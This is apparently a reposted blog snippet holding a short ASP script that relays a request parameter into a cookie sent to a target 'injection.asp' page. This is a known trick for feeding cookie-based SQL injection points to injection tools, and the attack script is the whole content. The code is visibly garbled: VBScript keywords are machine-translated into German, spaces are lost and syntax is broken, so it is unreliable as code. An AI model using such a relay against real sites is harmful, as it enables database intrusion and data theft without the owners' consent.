来源 ： ： & zj1244 共 用的 PublicBlog
复制代码代码如下::
<%
Str = "xxxid =" & Escape (Request ("FK"))
Url = "http://xxx.chinaxxx.com/injection.asp"
Antwort.WritePostData (URL, STR)
FunktionPostData (Posturl, Postcok)
Dimhttp
Sethttp = server.createObject ("msxml2.serverxmlhttp"))
Zurückgehalten
.Open "Get", posturl, falsch
.SetRequestheader "Cookie", Postcok
.Schicken
Postdata = .ResponseBody
Endwith
Sethttp = nichts
Postdata = bytes2bstr (Postdata)
Endfunktion
FunctionBytes2bstr (vin)
Dimstrreturn
Dimi, thischarCode, NextCharCode
Streturn = ""
Fei = 1tolenb (vin)
Thischarcode = ascb (Midb (vin, i, 1))
IFTHISCHARCODE <& H80Then
Streturn = Streturn & chrt (thisharcode)
Anders
NextCharcode = ASCB (Midb (Vin, I+1,1))
Streturn = Streturn & chrt (clng (thischarcode)*& h100+cint (NextCharCode))
I = i+1
Endif
Nächste
bytes2bstr = Streturn
Endfunktion
%>